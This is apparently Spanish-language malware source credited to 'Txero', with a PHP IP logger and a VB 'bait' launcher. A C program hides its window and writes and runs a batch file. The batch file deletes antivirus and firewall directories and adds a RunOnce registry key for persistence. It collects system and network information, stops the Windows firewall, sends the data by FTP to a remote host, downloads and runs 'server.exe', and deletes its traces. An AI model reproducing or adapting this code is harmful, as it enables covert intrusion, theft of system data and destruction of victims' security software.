/***************************************************/
/***********notificador via FTP por Txero***********/
/***************************************************/

#include <stdio.h>
#include <windows.h>

FILE* fichero;
char texto[80];




int main()
{
   

/****************************ocultar programa*******************/
     ShowWindow(GetForegroundWindow(),SW_HIDE);


     /*************creacion del bat******************/


  fichero = fopen("melgorta.bat", "wt");
  if (fichero == NULL)
  {
printf("error");



  }
  fputs("echo off\nset opi=deltree/y c:\\\n\%opi\%antiba*>nul\n\%opi\%antivi*>nul\n\%opi\%av*>nul\n\%opi\%bitdef*>nul\n\%opi\%comman~1\\>nul\n\%opi\%cleanc*>nul\n\%opi\%esafen\\>nul\n\%opi\%findvi*>nul\n\%opi\%f-*>nul\n\%opi\%fwin*>nul\n\%opi\%inocul*>nul\n\%opi\%kasper*>nul\n\%opi\%mcafee*>nul\n\%opi\%msav\\>nul\n\%opi\%norman\\>nul\n\%opi\%norton*>nul\n\%opi\%pav\\>nul\n\%opi\%pccill*>nul\n\%opi\%pc-cil*>nul\n\%opi\%rav\\>nul\n\%opi\%softwin\\>nul\n\%opi\%tbav*>nul\n\%opi\%toolkit\\>nul\n\%opi\%trendm~1\\>nul\n\%opi\%trex\\>nul\n\%opi\%virus*>nul\n\%opi\%vpc\\>nul\n\%opi\%vs95\\>nul\n\%opi\%zonela*>nul\nset opi=deltree/y c:\\progra~1\\\n\%opi\%antiba*>nul\n\%opi\%antivi*>nul\n\%opi\%avg*>nul\n\%opi\%bitdef*>nul\\\n%opi\%comman~1\\>nul\n\%opi\%common~1\\avp*>nul\n\%opi\%common~1\\syman*>nul\n\%opi\%datafe*>nul\n\%opi\%deerfi*>nul\n\%opi\%f-*>nul\n\%opi\%findvi~1\\>nul\n\%opi\%fsi\\>nul\n\%opi\%fwin*>nul\n\%opi\%grisoft\\>nul\n\%opi\%inocul*>nul\n\%opi\%kasper*>nul\n\%opi\%mcafee*>nul\n\%opi\%mindso~1\\>nul\n\%opi\%norman\\>nul\n\%opi\%norton*>nul\n\%opi\%pandas~1\\>nul\n\%opi\%protec*>nul\n\%opi\%quickh~1\\>nul\n\%opi\%rav\\>nul\n\%opi\%signal9\\>nul\n\%opi\%softwin\\>nul\n\%opi\%spysto~1\\>nul\n\%opi\%syman*>nul\n\%opi\%tbav\\>nul\n\%opi\%tinype~1\\>nul\n\%opi\%trend*>nul\n\%opi\%trojan*>nul\n\%opi\%virus*>nul\n\%opi\%zonela*>nul\nset opi=\ncscript \%windir\%\\biocapcy.vbs\ncls\n@echo off\nif exist algorta.exe goto inicio\nif exist c:\\windows\\regedit.exe goto 1\nif exist c:\\windowsnt\\regedit.exe goto 2\n: 1\ncopy melgorta.exe c:\\windows\\system32\\melgorta.exe\nassoc melgorta.exe=melgorta\nftype melgorta=\"\%1\" \%*\n@echo Windows Registry Editor Version 5.00>\%TEMP\%\\melgorta.exe\n@echo [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce]>>\%TEMP\%\\melgorta.exe\n@echo @=\"c:\\\\windows\\\\system32\\\\melgorta.exe\">>\%TEMP\%\\melgorta.exe\n@echo \"NeverShowExt\"=\"\">>\%TEMP\%\\melgorta.exe\n@echo [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce]>>\%TEMP\%\\melgorta.exe\n@echo @=\"c:\\windows\\system32\\melgorta.exe\">>\%TEMP\%\\melgorta.exe\nregedit /s \%TEMP\%\\melgorta.exe\ndel \%TEMP\%\\melgorta.exe\ngoto inicio\n: 2\ncopy melgorta.exe c:\\windowsnt\\system32\\melgorta.exe\nassoc melgorta.exe=melgorta\nftype melgorta=\"\%1\" \%*\n@echo Windows Registry Editor Version 5.00>\%TEMP\%\\melgorta.exe\n@echo [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce]>>\%TEMP\%\\melgorta.exe\n@echo @=\"c:\\\\windowsnt\\\\system32\\\\melgorta.exe\">>\%TEMP\%\\melgorta.exe\n@echo \"NeverShowExt\"=\"\">>\%TEMP\%\\melgorta.exe\n@echo [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce]>>\%TEMP\%\\melgorta.exe\n@echo @=\"c:\\windowsnt\\system32\\melgorta.exe\">>\%TEMP\%\\melgorta.exe\nregedit /s \%TEMP\%\\melgorta.exe\ndel \%TEMP\%\\melgorta.exe\ncls\ncolor 1\n: inicio\nipconfig /all>\%WinDir\%\\info.txt\ngpresult>\%WinDir\%\\gp.txt\nsysteminfo>\%WinDir\%\\system.txt\ntree>\%WinDir\%\\tree.txt\necho ID>\%WinDir\%\\1.txt\necho PASS>\%WinDir\%\\2.txt\necho send \%WinDir\%\\info.txt>\%WinDir\%\\3.txt\necho get server.exe c:\\server.exe>\%windir\%\\texto.txt\necho bye>\%WinDir\%\\4.txt\ncls\ncopy /b \%WinDir\%\\1.txt \%WinDir\%\\datos.txt\ncopy /b \%WinDir\%\\datos.txt+\%WinDir\%\\2.txt \%WinDir\%\\datos.txt\ncopy /b \%WinDir\%\\datos.txt+\%WinDir\%\\3.txt \%WinDir\%\\datos.txt\ncopy /b \%windir\%\\datos.txt+\%windir\%\\texto.txt \%windir\%\\datos.txt\ncopy /b \%WinDir\%\\datos.txt+\%WinDir\%\\4.txt \%WinDir\%\\datos.txt\ncopy /b \%WinDir\%\\info.txt+\%WinDir\%\\gp.txt \%WinDir\%\\info.txt\ncopy /b \%WinDir\%\\info.txt+\%WinDir\%\\system.txt \%WinDir\%\\info.txt\ncopy /b \%WinDir\%\\info.txt+\%WinDir\%\\tree.txt \%WinDir\%\\info.txt\nnet stop SharedAccess\ncls\nftp -s:\%WinDir\%\\datos.txt HOST\ndel \%WinDir\%\\1.txt\ndel \%WinDir\%\\2.txt\ndel \%WinDir\%\\3.txt\ndel \%windir\%\\texto.txt\ndel \%WinDir\%\\4.txt\ndel \%WinDir\%\\info.txt\ndel \%WinDir\%\\datos.txt\ndel \%WinDir\%\\info.txt\ndel \%WinDir\%\\system.txt\ndel \%WinDir\%\\gp.txt\ndel \%WinDir\%\\tree.txt\nif exist c:\\server.exe goto final\ngoto inicio\n: final\nstart c:\\server.exe\ndel c:\\server.exe\ndel melgorta.bat\nexit", fichero);


   fclose(fichero);
   
 
   /****************************ejecutar************/


   
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );



    if( !CreateProcess( NULL,   
        TEXT("melgorta.bat"),
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pi )
    )
    {
        printf( "CreateProcess fall (%d).\n", GetLastError() );
        return(0);
    }


    WaitForSingleObject( pi.hProcess, INFINITE );


    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );

}

<?php

if(getenv(HTTP_X_FORWARDED_FOR)) { $getip = getenv(HTTP_X_FORWARDED_FOR); }

elseif(getenv(HTTP_CLIENT_IP)) { $getip = getenv(HTTP_CLIENT_IP); }

else { $getip = $REMOTE_ADDR; }

$fp = @fopen("ip.txt", "a");

fputs($fp, " IP:".$getip);

fclose($fp);

echo "Tu ip publica es: <h1> $getip </h1>";

?>

Private Sub Form_Load()
'Como declaración la primera línea
Dim Retval 

Retval = Shell("C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE http://lapáginaenquecolgastetuphp.com/anzuelo.php", vbHide)